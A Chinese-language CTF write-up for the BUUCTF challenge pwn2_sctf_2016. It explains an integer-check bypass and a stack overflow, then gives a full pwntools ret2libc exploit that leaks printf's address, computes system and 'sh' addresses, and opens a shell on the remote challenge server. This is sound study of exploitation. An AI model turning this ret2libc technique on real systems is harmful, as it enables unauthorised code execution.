pwn2_sctf_2016

小白垃圾做题笔记,不建议阅读。

这道题,依旧做了半天。

查保护:绕过NX

 

32位ida:

 

 

 

代码就是这样吧。需要先绕过一下整数。然后利用溢出点溢出。

溢出点是vuln函数。因为get_n函数一次只能从缓冲区获取一个字符,它的作用好像就是把字符·放到vuln的buf中。

思路是泄露libc,通过printf,将printf的libc打印出来然后搜索。不幸的是,我没有搜到,在搜了一晚上加一上午后。我去交流群内讨论,结果师傅说,buu有libc。

好吧,无知是本罪。

buu点FAQ:

网址点进去就是了。这道题说是ubuntu16,所以下16,32位(刚刚看过)

然后把libc复制到题目路径下,不是也可以,自己决定,仅仅是一个路径而已。

然后exp:

from pwn import *
from LibcSearcher import *
debug=0
if debug:
    p=process('./pwn2_sctf_2016')
    elf=ELF('./pwn2_sctf_2016')
    #libc=ELF('/lib/i386-linux-gnu/libc.so.6')
    #p=process('',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    #gdb.attach(p)
else:
    p=remote('node4.buuoj.cn',28479)
    elf=ELF('./pwn2_sctf_2016')
    libc=ELF('./libc-2.23 .so')
def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

def sl(x):
    p.sendline(x)
    
    
printf_plt_addr=elf.plt['printf']
printf_got_addr=elf.got['printf']
main_addr=elf.sym['main']  
 

ru(b'read? ')
se(b'-1\n')
ru(b'data!\n')

payload=b'a'*(0x2c+4)+p32(printf_plt_addr)+p32(main_addr)+p32(printf_got_addr)


se(payload+b'\n')

#printf_addr=u32(p.recv(4))
#ru(b'\n')
printf_addr=u32(p.recvuntil(b'\xf7')[-4:])
#printf_addr=u32(p.recv(4))
print(hex(printf_addr))

#libc=LibcSearcher('printf',printf_addr)
#libc_base_addr=printf_addr-libc.dump('printf')
#system_addr=libc_base_addr+libc.dump('system')
#bin_sh_addr=libc_base_addr+libc.dump('str_bin_sh')



libc_base_addr=printf_addr-libc.sym['printf']#	0x054020#	0x054020#0x04a020####	0x057a70#0x04ea70#0x047a70#
system_addr=libc_base_addr+ libc.sym['system']	#0x045000#      0x045000#0x03be50####0x048150#0x040950  #   0x037f50#
bin_sh_addr=libc_base_addr+ next(libc.search(b'sh\x00'))#next(libc.search(b'/bin/sh\x00'))#	0x18c33c#	0x18c

#338#0x1376e3####0x1bd0f5#0x182925#0x15e14c#next(libc.search(b'/bin/sh\x00'))



payload2=b'a'*(0x2c)+b'bbbb'+p32(system_addr)+b'aaaa'+p32(bin_sh_addr)#+b'\n'



ru(b'read? ')
se(b'-1\n')
ru(b'data!\n')

se(payload2+b'\n')
#ru(b'\n')
p.interactive()

#ROPgadget --binary <binary_file> --only "pop|ret" | grep "pop rdi"
#ROPgadget --binary bin --only "pop|ret"
#ROPgadget --binary ./level2_x64 --only "ret"
#write_add=u32(p.recv(4))

#addr=u32(r.recvuntil('\xf7')[-4:])
#puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
#sa(b'wish!\n', b'%11$p')
#rl(b'0x')
#canary = int(p.recv(16), 16)

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

y6y6y666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值